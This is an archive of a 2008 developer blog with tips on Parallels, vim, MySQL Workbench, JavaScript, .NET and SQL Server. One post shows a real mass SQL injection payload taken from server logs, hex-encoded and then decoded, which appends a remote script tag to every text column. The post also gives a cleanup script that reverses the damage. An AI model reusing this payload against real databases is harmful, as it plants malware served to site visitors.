Removing Parallels hdd lock file

December 16th, 2008

Parallels crashed on me this afternoon while Windows was installing patches and rebooting. When I tried to start the system up again I kept getting this error message:

Parallels Desktop is unable to access the virtual hard disk image file winxp3.hdd. The file is missing, corrupted, or used by other application.

I knew that the file wasn’t in use by any other application because Parallels was no longer running and I had rebooted my machine.

It took a bit of digging, but here is how to make it stop thinking the file is in use:

– Locate your .hdd file (usually in ~/Library/Parallels)
– Right click on the file and choose “Show Package Contents”

When the package is opened, look for a file called “DiskDescriptor.xml.lck”. This is the file it uses to determine if the disk image is in use. Toss this file in the trash and close the package. Parallels should now start up.

Technoloy Update

November 20th, 2008

reposted from my lj.

Making lists sure helps me put things in perspective, so I thought I should make a list of technologies I’ve been working or playing with lately so I can sort of make a stamp in the sand for the end of the year. I doubt many people will care, but here is what I’ve been doing technology wise:

Java:

JBoss Seam: It’s a bit of a shift going from request based applications to conversation based applications, and bijection is tough to wrap your head around mentally, but I’ve been liking Seam a lot. I am able to get the robustness and enterprise features of J2EE with the speed of development frameworks like Ruby on Rails offer.

GlassFish: As much as I’ve been liking Seam, I still sort of hate JBoss — it is hard to configure and the default settings aren’t what I think they should be. GlassFish works the first time out of the box and is a dream to configure.

JPA: I can’t say JPA is any better than Hibernate Annotations (I think it is a little lacking compared to HA), but it seems to be where the industry is going and I think it is still way better than most persistence frameworks that have come out and it is nice to finally have a good standard.

Hudson: Hudson is a very nice easy to use continuous integration server. that is all you need to know.

Maven: Hate it. I spend more time trying to configure maven than actually writing code.

Javascript:

YUI: There are a ton of javascript libraries out there and I have traditionally gone the prototype/scriptalicious route, but lately I’ve been using the Yahoo User Interface. It is very easy to use, looks nice, and has a ton of widgets.

Cappuccino: this is very new and somewhat limited right now. What I like about this framework is: first that they made it look and act a lot like Objective-C. For someone who has done any Objective-C work it is very easy to get up and running writing code. The second thing that they have done, and I think this is more important, is to build a front end framework that starts and stops a browser application in a similar way to how a desktop application is started and stopped. Cappuccino works a lot like GWT or Flex and frees you a lot from thinking about web apps in terms of request and response. It lets you just get down and write an application. I think it’s still a little lacking in features and widgets, but I’m sure those will come soon.

Rich Faces: Ships with Seam but is developed independently and not required to go with seam. Their widget library is robust and works very smooth. Still missing a few widgets and doesn’t integrate well with other frameworks but it seems promising.

Flash:

MDM Zinc: I started working with Zinc because Adobe AIR can’t be bundled with a distributed application. I’ve been very into it and done a few very cool simple applications. The brick walls I have been hitting that prevent me from using this a ton more are mostly Flash limitations, most noticeably the inability to build a multi-threaded application. With a heavy networked app, I can get it to run 20 times faster with a threaded Java application than with straight actionscript. MDM allows you to thread through custom extenstions but the extensions have to be written in C++, easy in Windows but annoyingly difficult in OSX.

Five 3D: I’ve been playing around with a lot of 3D frameworks. I like Five 3d the most for the type of stuff I’ve been doing because it treats all text as vector, rather than raterising like Sandy or PaperVision do. I have some disagreements the the way the core of the framework is written and changed a few things to be more Object Oriented and streamlined, but performance is still killing me. Supposedly Adobe is adding similar 3d stuff to Flash 10, but I haven’t tried it yet to see.

Mobile:

IPhone – Cocoa Touch: I started a few demo applications that I was very excited about for a few weeks. Since then I have been waiting for Apple for approval (permission) to test my applications on my phone. It’s totally annoying that I can’t even check the status of my application or have an expectation as to when I will get approved.

Android: I like android’s platform and SDK slightly better than IPhone but there are a few things that I think will keep me from being serious about it for a while:
1. I don’t own an android phone and am not anxious to shell out for another new phone
2. The G1 sucks hardware wise compared to an iPhone, it looks similar on paper but needs a hard drive, better form factor, and generally a bump in the numbers.
3. MultiTouch missing and probably not coming anytime soon.

Software:

Nagios: I set up Nagios for monitoring the 10+ servers I am responsible for. I was resisting for a long time because I don’t like that it has a single point of failure — it assumes the server running nagios has 100% uptime — but I finally gave in and it has been working fairly well.

Komodo Edit: After 10 years, Komodo edit is finally slowly replacing my default general text editor on Windows. I still like textmate on OSX better, but Komodo is working pretty awesome and performs identical on all platforms.

Enterprise Architect: I’ve struggled for years with a mix of modeling software. I’ve used everything including Rational Rose, Visio, AggroUML, and OmniGraffle; often times using more than one program for a single project. I dove in early this year and tried using Enterprise Architect for everything and for once I have a tool that I feel is 90% of the way there. The other 10% is probably just me being stubborn. At just over $200, it is a total bargain and offers a very similar feature set to Rational Rose. If you do any UML, system, or database design, it is worth a try.

Databases:

MySQL: I bought all marketing over the past few years and thought MySQL was totally up to speed with SQL Server and Oracle in terms of speed and reliability. For the most part MySQL has performed very well for me and any new projects I do in MySQL. My beef lately is that the engine still isn’t nearly as awesome as Sql Server or Oracle in terms of parallelism, online indexing, and preventing locks. Once you get up to 100,000,000 rows or so you start to have to do all sorts of hacks to operate on large sets of rows within a single query – otherwise it locks the entire database. I am not that far into my first major MySQL project and maybe I will learn some easy tricks to get past the limitations, but I haven’t seen any magic bullets yet.

Stuff to hopefully try soon:

Cocoa Touch on Actual Hardware: Hopefully I will get approval from apple soon and be able to finally test some apps on my phone.

Granite Data Services: JBoss Seam + Adobe Flex = Free alternative to Adobe LifeCycle Data Services. looks pretty rad.

JMaki: More Ajax stuff with some interesting demos.

Django: This shit is all the hype so I gotta see what it is about. Looks like RoR without the annoying community. Plus you can deploy to Google AppEngine.

Railo joins Jboss. How did I miss this?

November 20th, 2008

I spend most of my days lately doing enterprise-ish type stuff in Java. Way back in the day though, my first paying programming job was writing Cold Fusion during the first dot-com upsurge. Since then I have always had a bit of a soft spot for CFML. I still think it is one of the best languages for non-pro programmers to write pages in and for professionals to do quick mock-ups with. When compared to PHP I think it is generally a better framework for prototyping and simple applications.

The one thing that has always kept me, and I’m sure many others, from choosing CFM for anything was the fact that the license costs over $1000 and not many web-hosts support it.

I sort of always thought Macromedia would open source Cold Fusion and I’m somewhat surprised Adobe hasn’t made moves in this direction. Over the past few years several projects have made some front is building an open source alternative. The smith project looked like it was the best option until it seemed to fizzle out earlier this year. Now, after clicking around I noticed a press release that Railo has joined Jboss and will be open sourced!

This is huge news if you are a fan of CFM. Jboss has a lot of clout and resources to get things done. I expect that they will release something that is solid and eventually compete on par with the offerings from Adobe itself.

This combined with the progress people have made running other languages on the JVM – Groovy, Scala, Ruby, PHP, and Python – makes java application servers a clear choice for running all sorts of scripted sites on true application servers.

Now, will someone please open source a port of ASP classic so I can host all my legacy apps on linux? (Sun, I’m looking at you. who is paying for Sun Java System ASP anyway?).

Javascript Image Morph

November 16th, 2008

I’ve been working on an image gallery and needed a way to do nice fade/morphs between a list of images for a slideshow. I used prototype and scriptalicious. Here is how I did it:

See the Demo Here

Download Entire Source of Example

Javascript to do the work:

//preload the images and load them into an array
imageArray = new Array(); 
 
var image01 = new Image();
image01.src = 'photo_01.jpg';
imageArray[imageArray.length] = image01;
 
var image02 = new Image();
image02.src = 'photo_02.jpg';
imageArray[imageArray.length] = image02;
 
var image03 = new Image();
image03.src = 'photo_03.jpg';
imageArray[imageArray.length] = image03;
 
var image04 = new Image();
image04.src = 'photo_04.jpg';
imageArray[imageArray.length] = image04;
 
var image05 = new Image();
image05.src = 'photo_05.jpg';
imageArray[imageArray.length] = image05;
 
// imageIndex is going to be the index of the next image to display.  
// images 0 and 1 are already loaded into the html
var imageIndex = 1;
 
function switchImage() {
	// place the next image to be displayed to the front
	$('imageFront').src = imageArray[imageIndex].src;
 
	// make the image in front appear, when it is done swap it with the image in the back
	new Effect.Appear('imageFront', {
		afterFinish: function() { 
			// make the image in the back the same src as the image in the front
			$('imageBehind').src = $('imageFront').src;
			
			//hide the image in the front
			$('imageFront').style.display = 'none';
			
			// increment the index
			imageIndex++;
			// if we have indexed past the end of the array, go back to zero
			if (imageIndex == imageArray.length) { 
				imageIndex = 0;
			}
		}
	});
}

Within the HTML, the only tricky thing here is that you need to position the two IMG tags so they are on top of each other. For my purpose absolute positioning was okay. It may take alittle more work for relative positioning.

<html>
<head>
	<script type="text/javascript" src="js/prototype.js"></script>
	<script type="text/javascript" src="js/scriptaculous.js?load=effects"></script>
	<script language="javascript">
             /* code from above goes here */
	</script>
</head>
<body onload="setInterval('switchImage()', 3000);">
	<img id="imageBehind" src="photo_01.jpg" style="position:absolute; top:0; left:0;" />
	<img id="imageFront" src="photo_02.jpg" style="position:absolute; top:0; left:0; display:none;" />
</body>
</html>

** update. thanks to Star for letting me know that the morph blinked in Firefox 2.0. I fixed the post and the example so it doesn’t do that anymore. **

Simple .NET script to list all of the .swf files in a folder as XML

November 13th, 2008

Here is some handy code for if you have a bunch of .swf files and you need to get some XML to load them into flash. It should also totally be easy to change the script to list any file type you need enumerated.

<%@ Page ContentType="text/xml" %>
<%@ Import Namespace="System.Xml" %>
<%@ Import Namespace="System.IO" %>
<script language="C#" runat="server">
	void Page_Load(object sender, System.EventArgs e) {
		XmlWriter writer = XmlWriter.Create(Response.OutputStream);
		
		writer.WriteStartElement("scenes");
		DirectoryInfo di = new DirectoryInfo(Server.MapPath(""));
		FileInfo[] files = di.GetFiles("*.swf");
		foreach(FileInfo fi in files) {
			
			writer.WriteStartElement("movie");
			writer.WriteAttributeString("name", fi.Name);
			writer.WriteEndElement();
 
		}
		writer.WriteEndElement();
 
		writer.Close();
	}
</script>

This will output something like:

<?xml version="1.0" encoding="utf-8"?>
<scenes>
    <movie name="scene_001.swf"/>
    <movie name="scene_002.swf"/>
    <movie name="scene_003.swf"/>
    <movie name="scene_004.swf"/>
    <movie name="scene_005.swf"/>
    <movie name="scene_006.swf"/>
</scenes>

Howto add additional page sizes to MySQL Workbench

October 2nd, 2008

I’ve been following the progress of the MySQL Workbench project for quite some time now ever since the discontinuation of DbDesigner4. For a while things appeared to be moving slowly and the early releases were painfully slow and hard to use, but with the most recent releases I feel that it is really ready for prime time. It isn’t quite as powerful as some other commercial tools I use, but it is free, quick, and does a great job for small databases.

One of the things that I am really liking about MySql Workbench the most is it’s solid design. I have been able to open up the source code and view a very nicely written application that very much appears to be designed for growth. Many of the key settings and customizations are even left out of the compiled code and read dynamically from XML files upon startup.

Recently I found that the tool didn’t support some standard page sizes I use for printing out diagrams — most notably (to me anyway), Arch-E, the standard page size of the printer at my local FedEx Kinkos.

After only a few minutes of poking around I found a file in the data directory called paper_types.xml that contained all of the paper sizes that the program would. A quick trip to Wikipedia and I was easily able to add my Arch-E paper type. After restarting the program I was easily to print directly to the printer as well as export to the correct size pdf.

Here’s the code to add to save you (and probably myself later) some time:
Add this to C:\Program Files\MySQL\MySQL Workbench 5.0 OSS\data\paper_types.xml

<value type="object" struct-name="app.PaperType" id="com.mysql.wb.papertype.archa">
      <value type="string" key="name">Arch-A</value>
      <value type="string" key="caption">Arch A (9 in x 12 in.)</value>
      <value type="real" key="width">228.6</value>
      <value type="real" key="height">304.8</value>
    </value>
    <value type="object" struct-name="app.PaperType" id="com.mysql.wb.papertype.archb">
      <value type="string" key="name">Arch-B</value>
      <value type="string" key="caption">Arch B (12 in x 18 in.)</value>
      <value type="real" key="width">304.8</value>
      <value type="real" key="height">457.2</value>
    </value>
    <value type="object" struct-name="app.PaperType" id="com.mysql.wb.papertype.archc">
      <value type="string" key="name">Arch-C</value>
      <value type="string" key="caption">Arch C (18 in x 24 in.)</value>
      <value type="real" key="width">457.2</value>
      <value type="real" key="height">609.6</value>
    </value>
    <value type="object" struct-name="app.PaperType" id="com.mysql.wb.papertype.archd">
      <value type="string" key="name">Arch-D</value>
      <value type="string" key="caption">Arch D (24 in x 36 in.)</value>
      <value type="real" key="width">609.6</value>
      <value type="real" key="height">914.4</value>
    </value>
    <value type="object" struct-name="app.PaperType" id="com.mysql.wb.papertype.arche">
      <value type="string" key="name">Arch-E</value>
      <value type="string" key="caption">Arch E (36 in x 48 in.)</value>
      <value type="real" key="width">914.4</value>
      <value type="real" key="height">1219.2</value>
    </value>
    <value type="object" struct-name="app.PaperType" id="com.mysql.wb.papertype.arche1">
      <value type="string" key="name">Arch-E1</value>
      <value type="string" key="caption">Arch E1 (30 in x 42 in.)</value>
      <value type="real" key="width">762</value>
      <value type="real" key="height">1066.8</value>
    </value>

Upgrading vim on OSX

September 28th, 2008

OSX ships with a respectable version of Vim, 7.0. I can’t remember why, but I had some reason where I needed to upgrade to the latest copy (currently 7.2). Here is how to do it:

In a terminal window, run the following commands:

svn co https://vim.svn.sourceforge.net/svnroot/vim/vim7
cd vim7
./configure
sudo make install

You will have to enter your password for the sudo command.

This will install a vim GUI in your Applications folder. In order to upgrade the vim in your terminal window, you have to run these commands:

sudo mv /usr/bin/vim /usr/bin/vim_original
sudo ln -s /usr/bin/vim /Applications/Vim.app/Contents/MacOS/Vim

Vim on the command line should now be updated to the latest version.

A side effect of this update is that your .vimrc file will be read from the more standard UNIX location of your home folder. To copy the OSX vimrc to your home folder so it can be read, run this command:

cp /usr/share/vim/vimrc ~/.vimrc

iPhone vs Android

September 25th, 2008

Last night I had been waiting for about two weeks to hear back from apple about membership in the iPhone developer program. I’m told this is normal wait time and I should just keep waiting.

At one point, I was thinking to myself “crap, this is reason enough to take another look at android and see what that has to offer”… but then I realized, I may be waiting for my application from Apple, but I couldn’t have installed an android app on any phone anywhere anyway. duh. quit complaining self.

They finally contacted me today asking me to fax them in some information. Lets see how long the next step takes.

Using SQL Injection attack code to repair database

September 25th, 2008

Now that Google has started flagging sites that are linking to badware in their index I’ve been getting quite a few calls from people who have been flagged and need to get back on track.

These are often sites that were written a while back (not by myself) when developers didn’t think as much about SQL injection as they do now. Sometimes the code was just poorly written by someone who didn’t know better. However it happened, each site has its own challenge.

Fixing the security hole is generally straight forward — I usually just have to identify where the SQL isn’t properly escaped and fix that code. The hard part I have had fixing these sites is fixing the database itself. Some clients have backups, and some I can fix with SQL Log Rescue, but generally a lot of small clients simply don’t have great control over their server and often don’t have any backups.

I had one such of these clients this week where their database had hundreds and hundreds of tables, all with malware code injected into the data. I was initially going to write a script to clean all the data, but after looking at the malware attack, I was able to use their own code to fix the database.

In the server log files. I noticed this request was coming in for every script several times a day. Looks like it just wanders the internet hoping that that id=2 in the query string won’t be escaped in the code.

GET script.asp?id=2 ;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434c415245204054207661726368617228323535292c40432076617263686172283430303029204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d27272b5b272b40432b275d20776865726520272b40432b27206e6f74206c696b6520272725223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d272727294645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f7220%20AS%20CHAR(4000));EXEC(@S); 80 - 121.18.89.190 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1) - - www.wirelust.com 200 0 0 14827 1516 9781

 

If the id isn’t escaped, as it wasn’t in this situation, a query like this will hit your SQL server:

SELECT *
FROM SomeTable
WHERE id=2;DECLARE @S CHAR(4000)
SET @S=CAST(0x4445434c415245204054207661726368617228323535292c40432076617263686172283430303029204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d27272b5b272b40432b275d20776865726520272b40432b27206e6f74206c696b6520272725223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d272727294645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f7220 AS CHAR(4000));
EXEC(@S);

 

hmm. okay. so what is it executing as the value of @S?
If you change the statement from EXEC(@S) to PRINT(@S) you get this:
Warning: Do not run this on your server, it will mess up ALL of your data

DECLARE @T VARCHAR(255),@C VARCHAR(4000)
DECLARE Table_Cursor CURSOR FOR 
	SELECT a.name,b.name
	FROM sysobjects a,syscolumns b
	WHERE a.id=b.id
	and a.xtype='u'
	and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
 
OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
	EXEC('update ['+@T+'] set ['+@C+']=''"></title><script src="http://www.wirelust.com/baddies-script.js"></script><!--''+['+@C+'] where '+@C+' not like ''%"></title><script src="http://www.wirelust.com/baddies-script.js"></script><!--''')
	FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

 

I thought this code was pretty clever. It selects a cursor that contains every varchar and text field in every table on the database, then loops over the cursor and issues an update command to append their bad script to the end of the data in each field.

Luckily, it is in their best interest to leave your data in place and just place their code at the end – it increases the chance you won’t know your site is infected.

Since all of the original data is still in the database, I was able to tweak their code a little bit to write a script to fix the data:

DECLARE @T VARCHAR(255), @C VARCHAR(4000), @SQL VARCHAR(5000)
DECLARE Table_Cursor CURSOR FOR 
	SELECT a.name,b.name
	FROM sysobjects a,syscolumns b
	WHERE a.id=b.id
	and a.xtype='u'
	and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
 
OPEN Table_Cursor 
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
	WHILE(@@FETCH_STATUS=0) 
	BEGIN 
		SET @SQL = 'update ['+@T+'] set ['+@C+']=Replace(['+@C+'], ''<script src="http://www.wirelust.com/baddies-script.js"></script>'', '''') where '+@C+' like ''%<script src="http://www.wirelust.com/baddies-script.js"></script>%'''
		PRINT @SQL
		-- exec(@SQL)
		FETCH NEXT FROM  Table_Cursor INTO @T,@C
	END 
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Human readable DATEDIFF function for SQL Server

September 24th, 2008

All the time, when I’m writing reports I need to display a ‘time elapsed’ metric in a short easy to read manor. Usually I do this with a simple convenience function in whatever language I am writing the GUI in. For reports that are purely in SQL, I have created just such a convenience function for SQL server: dateDiffHumanReadable( startDate, endDate, precision ).

This makes it easy to display date spans.

To see how old I currently am, I would call:

DECLARE @birthday DATETIME
SET @birthday = '6/2/1978 16:00:00'
PRINT dbo.dateDiffHumanReadable(@birthday, GETDATE(), DEFAULT)

This will return my current age:
30y 114d 38m 11s 620ms

This comes in handy when I have a log table with columns like this:

  • process
  • timeStart
  • timeEnd

Just using DATEDIFF I would have to do this:

SELECT process,
	CASE WHEN timeStart IS NOT NULL AND timeEnd IS NOT NULL THEN
		DATEDIFF(s, timeStart, timeEnd)
	ELSE
		''
	END AS [seconds]
FROM logTable

With this function, I can get more informational results just doing this:

SELECT process, dbo.dateDiffHumanReadable(timeStart, timeEnd, DEFAULT)
FROM logTable

The third parameter is a precision value for when you don’t need right down to the millisecond returned. Calling this:

DECLARE @birthday DATETIME
SET @birthday = '6/2/1978 16:00:00'
PRINT dbo.dateDiffHumanReadable(@birthday, GETDATE(), 'y')

This will return just the year of my current age:
30y

Full code

SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
-- =============================================
-- Author:		T. Curran
-- Create date: 3/20/2008
-- Date modified: 3/12/2009
-- Description:	Generates a human readable difference between two dates, in the form '1y 5d 3h 2m 6s 10ms'
-- =============================================
DROP FUNCTION [dbo].[dateDiffHumanReadable]
GO
CREATE FUNCTION [dbo].[dateDiffHumanReadable]
(
		@dateStart DATETIME,
		@dateEnd DATETIME,
		@PRECISION VARCHAR(2) = 'ms'
)
RETURNS VARCHAR(200)
AS
BEGIN
	DECLARE @diffAsString VARCHAR(200),
		@dateScratch DATETIME,
		@years INT,
		@days INT,
		@hours INT,
		@minutes INT,
		@seconds INT,
		@milliseconds INT
 
	SET @diffAsString = ''
	IF (@dateStart IS NULL OR @dateEnd IS NULL) BEGIN
		RETURN @diffAsString
	END
 
	SET @years = 0
	SET @days = 0
	SET @hours = 0
	SET @minutes = 0
	SET @seconds = 0
	SET @milliseconds = 0
 
	-- @dateScratch is used as a holding place for us to increment the date so we don't alter @dateStart
	SET @dateScratch = @dateStart
 
	-- years
	SET @years = DATEDIFF(yy, @dateScratch, @dateEnd)
	SET @dateScratch = DATEADD(yy, @years, @dateScratch)
 
	-- days
	SET @days = DATEDIFF(d, @dateScratch, @dateEnd)
	IF (@days < 0) BEGIN
		IF (@years > 0) BEGIN
			SET @years = @years -1
			SET @dateScratch = DATEADD(yy, -1, @dateScratch)
			SET @days = DATEDIFF(d, @dateScratch, @dateEnd)
		END
	END
	SET @dateScratch = DATEADD(d, @days, @dateScratch)
 
	-- milliseconds
	SET @milliseconds = DATEDIFF(ms, @dateScratch, @dateEnd)
	SET @dateScratch = DATEADD(ms, @milliseconds, @dateScratch)
 
	IF (@milliseconds > 999) BEGIN
		SET @seconds = @milliseconds / 1000
		SET @milliseconds = @milliseconds - (@seconds * 1000)
 
		-- seconds  
		IF (@seconds > 59) BEGIN  
			SET @minutes = @seconds / 60  
			SET @seconds = @seconds - (@minutes * 60)  
 
			-- minutes  
			IF @minutes > 59 BEGIN  
				SET @hours = @minutes / 60  
				SET @minutes = @minutes - (@hours * 60)  
			END  
		END  
	END
 
	-- Build the output string based on the precision
 
	-- years
	IF (@PRECISION = 'y' OR @PRECISION = 'd' OR @PRECISION = 'h' OR @PRECISION = 'm' OR @PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@years > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@years AS VARCHAR(10)) +  'y '
		END
	END
 
	-- days
	IF (@PRECISION = 'd' OR @PRECISION = 'h' OR @PRECISION = 'm' OR @PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@days > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@days AS VARCHAR(10)) +  'd '
		END
	END
 
	-- hours
	IF (@PRECISION = 'h' OR @PRECISION = 'm' OR @PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@hours > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@hours AS VARCHAR(10)) +  'h '
		END
	END
 
	-- minutes
	IF (@PRECISION = 'm' OR @PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@minutes > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@minutes AS VARCHAR(10)) +  'm '
		END
	END
 
	-- seconds
	IF (@PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@seconds > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@seconds AS VARCHAR(10)) +  's '
		END
	END
 
	-- milliseconds
	IF (@PRECISION = 'ms') BEGIN
		IF (@milliseconds > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@milliseconds AS VARCHAR(10)) +  'ms '
		END
	END
 
	-- the above string concat always ends with a space, if the space is there at the end remove it
	IF (LEN(@diffAsString) > 0) BEGIN
		IF (RIGHT(@diffAsString, 1) = '') BEGIN
			SET @diffAsString = LEFT(@diffAsString, LEN(@diffAsString))
		END
	END
 
	RETURN @diffAsString
END
GO

UPDATE:
Adam correctly pointed out that my function didn’t work when the time span was less than 1 day because:
SELECT DATEDIFF(dd, ’11:50:48.000′, ’12:12:45.000′)
Will return 1 rather than 0.

I have updated the function to use DATEDIFF to calculate the year, then use a ‘ms’ calculation to count up for the other values.